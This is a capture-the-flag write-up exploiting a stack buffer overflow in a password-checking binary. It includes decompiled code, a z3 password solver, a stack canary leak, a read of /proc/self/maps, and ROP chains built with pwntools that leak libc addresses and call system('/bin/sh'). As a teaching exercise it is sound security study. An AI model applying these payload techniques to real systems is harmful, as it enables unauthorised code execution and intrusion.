So, we take a look at the binary and do some basic decompilation.
void main(void)
{
uint switch_00;
int switch;
char *buf;
undefined8 uVar1;
FILE *stream;
long in_FS_OFFSET;
char input_chars [32];
char filename [40];
long canary;
long canary_var;
canary_var = *(long *)(in_FS_OFFSET + 0x28);
buf = (char *)malloc(16000);
memset(input_chars,0,0x30);
memset(filename,0,0x28);
setvbuf(stdout,(char *)0x0,2,0);
setFilename(filename);
while( true ) {
while( true ) {
while( true ) {
while( true ) {
puts("Welcome my friend. Tell me your password.");
readline(stdin,input_chars);
switch_00 = checkinput((byte *)input_chars);
if ((switch_00 != 1) && (switch_00 != 2)) break;
display_result(switch_00,(char *)0x0);
}
uVar1 = validateFilenameChars(filename);
if ((int)uVar1 != 0) break;
display_result(3,filename);
}
stream = fopen(filename,"rb");
if (stream == (FILE *)0x0) break;
readline(stream,buf);
puts(buf);
fclose(stream);
}
if (filename[0] == 0) break;
display_result(3,filename);
}
display_result(4,(char *)0x0);
if (canary_var == *(long *)(in_FS_OFFSET + 0x28)) {
return;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
So the basic flow is "Ask a password. If checkinput
validates it, print out the first line of the file."
The checkinput function is
uint checkinput(byte *inputchars) {
uint switch;
size_t passwordLength;
passwordLength = strlen((char *)inputchars);
if (passwordLength < 0x17) {
switch = 1;
}
else {
if (((((((inputchars[1] ^ *inputchars) == 0x3f) && ((inputchars[2] ^ inputchars[1]) == 0xb)) &&
((inputchars[3] ^ inputchars[2]) == 0x27)) &&
((((inputchars[4] ^ inputchars[3]) == 0x33 && ((inputchars[5] ^ inputchars[4]) == 0x41)) &&
(((inputchars[6] ^ inputchars[5]) == 0x4f &&
(((inputchars[7] ^ inputchars[6]) == 0x3b && ((inputchars[8] ^ inputchars[7]) == 0x1b))))
)))) && (((inputchars[9] ^ inputchars[8]) == 0x21 &&
(((((((inputchars[10] ^ inputchars[9]) == 0x32 &&
((inputchars[0xb] ^ inputchars[10]) == 0x73)) &&
((inputchars[0xc] ^ inputchars[0xb]) == 0x79)) &&
(((inputchars[0xd] ^ inputchars[0xc]) == 0x2b &&
((inputchars[0xe] ^ inputchars[0xd]) == 0x3a)))) &&
((inputchars[0xe] == inputchars[0xf] &&
(((inputchars[0x10] ^ inputchars[0xf]) == 2 &&
((inputchars[0x11] ^ inputchars[0x10]) == 0x38)))))) &&
((inputchars[0x12] ^ inputchars[0x11]) == 0x1d)))))) &&
(((((inputchars[0x13] ^ inputchars[0x12]) == 3 &&
((inputchars[0x14] ^ inputchars[0x13]) == 4)) &&
((inputchars[0x15] ^ inputchars[0x14]) == 0x49)) &&
(((inputchars[0x16] ^ inputchars[0x15]) == 0x61 && (inputchars[0x16] == 0x58)))))) {
switch = 0;
}
else {
switch = 2;
}
}
return switch;
}
Which although ugly; is straightforward to transform into python z3
code.
import z3
inputchars = [z3.BitVec('inputchar{:02d}'.format(i), 8) for i in range(0x30)]
s = z3.Solver()
s.add(z3.And( ((inputchars[1] ^ inputchars[0]) == 0x3f) ,
((inputchars[2] ^ inputchars[1]) == 0xb) ,
((inputchars[3] ^ inputchars[2]) == 0x27) ,
((inputchars[4] ^ inputchars[3]) == 0x33) ,
((inputchars[5] ^ inputchars[4]) == 0x41) ,
((inputchars[6] ^ inputchars[5]) == 0x4f) ,
((inputchars[7] ^ inputchars[6]) == 0x3b) ,
((inputchars[8] ^ inputchars[7]) == 0x1b) ,
((inputchars[9] ^ inputchars[8]) == 0x21) ,
((inputchars[10] ^ inputchars[9]) == 0x32) ,
((inputchars[0xb] ^ inputchars[10]) == 0x73) ,
((inputchars[0xc] ^ inputchars[0xb]) == 0x79) ,
((inputchars[0xd] ^ inputchars[0xc]) == 0x2b) ,
((inputchars[0xe] ^ inputchars[0xd]) == 0x3a) ,
(inputchars[0xe] == inputchars[0xf]) ,
((inputchars[0x10] ^ inputchars[0xf]) == 2) ,
((inputchars[0x11] ^ inputchars[0x10]) == 0x38) ,
((inputchars[0x12] ^ inputchars[0x11]) == 0x1d) ,
((inputchars[0x13] ^ inputchars[0x12]) == 3) ,
((inputchars[0x14] ^ inputchars[0x13]) == 4) ,
((inputchars[0x15] ^ inputchars[0x14]) == 0x49) ,
((inputchars[0x16] ^ inputchars[0x15]) == 0x61) ,
((inputchars[0x16] == 0x58))))
print(s.check())
m = s.model()
variables = {}
for variable in m:
variables[str(variable)] = m[variable]
print("".join(chr(int(str(variables[c]))) for c in sorted(variables.keys())))
Which yields the password VibEv7xCXyK8AjPPRjwtp9X
. Of course, as one would expect,
this does not yield the actual flag. Instead, we get a link to a video (which I have
lost sadly). Shockingly, it wasn't a rickroll. C'mon people, tradition. Tradition.
Okay, so it looks like we'll have to actually exploit this code properly.
We take a quick check to see the order of the variables on the stack
void main(void)
long Stack[-0x10]:8 canary ; canary is right below stored $rbp value
char[40] Stack[-0x38] filename
char[32] Stack[-0x58] input_chars
so the input_chars (where we enter the password) is directly below the filename parameter. So if we can override input_chars we can overwrite the filename.
We check out the input method, readline
and see there is a pretty obvious, unlimited, buffer overflow.
ulong readline(FILE *stream,char *buf)
{
char cc;
int c;
uint i;
i = 0;
while( true ) {
c = fgetc(stream);
cc = (char)c;
if ((cc == -1) || (cc == '\n')) break;
buf[(long)(int)i] = cc;
i = i + 1;
}
return (ulong)i;
}
As long as none of the data we want to override contains the 0x20
newline character, we can put whatever we want into the buf
parameter, which we see is on the stack from the main
method. So we can populate the stack with whatever we want. We first
need to leak the canary value though.
Taking a look at the output function display_result
void display_result(int switch,char *filename)
{
if (switch == 1) {
puts("Not even close!\n");
}
else {
if (switch == 2) {
puts("Incorrect!\n");
}
else {
if (switch == 3) {
printf("Unable to open %.*s file!\n",0x30,filename);
}
else {
printf("Unknown error");
}
}
}
return;
}
we see that the first 0x30
of the filename will be displayed. Since the filename is only 0x28 (40) bytes, this means if
we fill up the entire 40 bytes of filename buffer, we'll leak the canary value. Now, when I tried this (and you can see
this using gdb
or gef
) the canary tends to contain a \x00
value as the LSB byte. This is to prevent certain string
copying errors from overwriting the canary (as a string would stop copying once it hit the \x00
). Fortunatley, the
readline
function doesn't stop on \x00
rather it stops on \n
.
So we can pass in
canary_extraction_payload = pass_buf + b"_"*0x29
r.sendline(canary_extraction_payload)
result = r.recvuntil("Tell me your password.")
canary = b"\x00"+result.split(b" ")[3].split(b"_")[-1]
to get the canary. Here pass_buf
is simply the password from before padded with enough zeros
to fill the regular input_chars
buffer.
So we can read the canary, so we can overwrite the stored rip
value and go wherever we wish. However, we don't yet
know where anything is. Although we can leak the canary, we are prevented from learning anything else about the program,
since we only leak the first 0x30
bytes. So we can't even find out where the program code itself is located.
However, we haven't really exploited the fact that we can open any file on the system. Although
I am unaware of any way to use fopen
to open directories, we can use it on /proc/self/maps
,
which will give us where the operating system has mapped the text section into memory.
as an example
$ cat /proc/self/maps
563ae0b5a000-563ae0b62000 r-xp 00000000 08:05 24641561 /bin/cat
Armed now with the knowledge of where our program is, we can use ROPgadget
on the
binary to construct a ROPchain
. The goal of this chain is to extract the values
in the Global Offset Table (GOT) that will point to where the libc functions are.
Although we aren't provided with libc, we can use Caliper Analysis (measuring the
distance between known functions) to make an educated guess as to which version we're
using. It's unlikely that two different versions of libc will have the exact same
offsets between functions, so we can use the GOT to find out which libc version this
is. Turned out to be glibc-2.27
.
My first pass at writing a ROPchain missed a critical component.
problematic_payload = (pass_buf + b"\x00"*0x28+ canary + p64(0)
+p64(set_rdi_gadget)
+ p64(puts_got_loc)
+p64(puts_loc) # dump puts location
+p64(set_rdi_gadget)
+ p64(fclose_got_loc)
+p64(puts_loc) # dump fclose location
+p64(main_loc))
r.sendline(problematic_payload)
This almost works. The program prints out the locations and re-enters main.
However, when I ran this, it would crash unexpectedly when I attempted the next
chain attack. Running the exploit using pwntools gdb
revealed the following
0x7f9e9effd65c <buffered_vfprintf+140> punpcklqdq xmm0, xmm0
0x7f9e9effd660 <buffered_vfprintf+144> mov DWORD PTR [rsp+0xa4], eax
0x7f9e9effd667 <buffered_vfprintf+151> lea rax, [rip+0x3890f2] # 0x7f9e9f386760 <_IO_helper_jumps>
→ 0x7f9e9effd66e <buffered_vfprintf+158> movaps XMMWORD PTR [rsp+0x50], xmm0
0x7f9e9effd673 <buffered_vfprintf+163> mov QWORD PTR [rsp+0x108], rax
0x7f9e9effd67b <buffered_vfprintf+171> call 0x7f9e9effa390 <_IO_vfprintf_internal>
0x7f9e9effd680 <buffered_vfprintf+176> mov r12d, eax
0x7f9e9effd683 <buffered_vfprintf+179> mov r13d, DWORD PTR [rip+0x39225e] # 0x7f9e9f38f8e8 <__libc_pthread_functions_init>
0x7f9e9effd68a <buffered_vfprintf+186> test r13d, r13d
────────────────── threads ────────────────────────────────────────────────────────────────────────
[#0] Id 1, Name: "full_troll", stopped, reason: SIGSEGV
movaps
is "Move Aligned Packed Single-Precision Floating-Point Values". It's being used here
to zero out 128 bits of data. The question is, why is it throwing a seg fault? The key is the
"Aligned" part. When a program gets compiled, the compiler ensures that every time a function
gets invoked the stack is 128 bit aligned. This lets the compiler align local variables thus
allowing optimizations like using 128 bit operators to zero data structures. However, if we
count the number of 8 byte gadgets we put on the stack, we realized we put an odd number before
invoking main. This screwed up everything, but is easily fixed by adding a nop_gadget (a simple
return) to our chain.
payload = (pass_buf + b"\x00"*0x28+ canary + p64(0)
+p64(set_rdi_gadget)
+ p64(puts_got_loc)
+p64(puts_loc) # dump puts location
+p64(set_rdi_gadget)
+ p64(fclose_got_loc)
+p64(puts_loc) # dump fclose location
+p64(nop) # ret instruction, for alignment
+p64(main_loc))
r.sendline(payload)
So having worked out the libc version, and having established the current locations of libc,
we can get ourselves a shell. We pick a nice, out of the way, place in the bss section. We
look up the value of the stdin
variable in libc and invoke the readline
on stdin
and the
chosen bss
section. Then we write /bin/sh
into the bss
location.
And then we just pass that location into system.
shell_payload = (pass_buf + b"\x00"*0x28 + canary + p64(0)
+p64(set_rdi)
+ p64(stdin) # this is a FILE * pointer in libc.
+ p64(set_rsi_r15)
+ p64(bss) # computed from program offset
+ p64(0) # don't care about r15 register
+ p64(nop) # just a ret for 128 bit alignment
+ p64(readline_loc) # readline(stdin, bss_location)
+ p64(set_rdi)
+ p64(bss)
+ p64(system)) # system(bss_location)
which gives us a shell. Listing the directory reveals an unguessable file whose contents is the flag.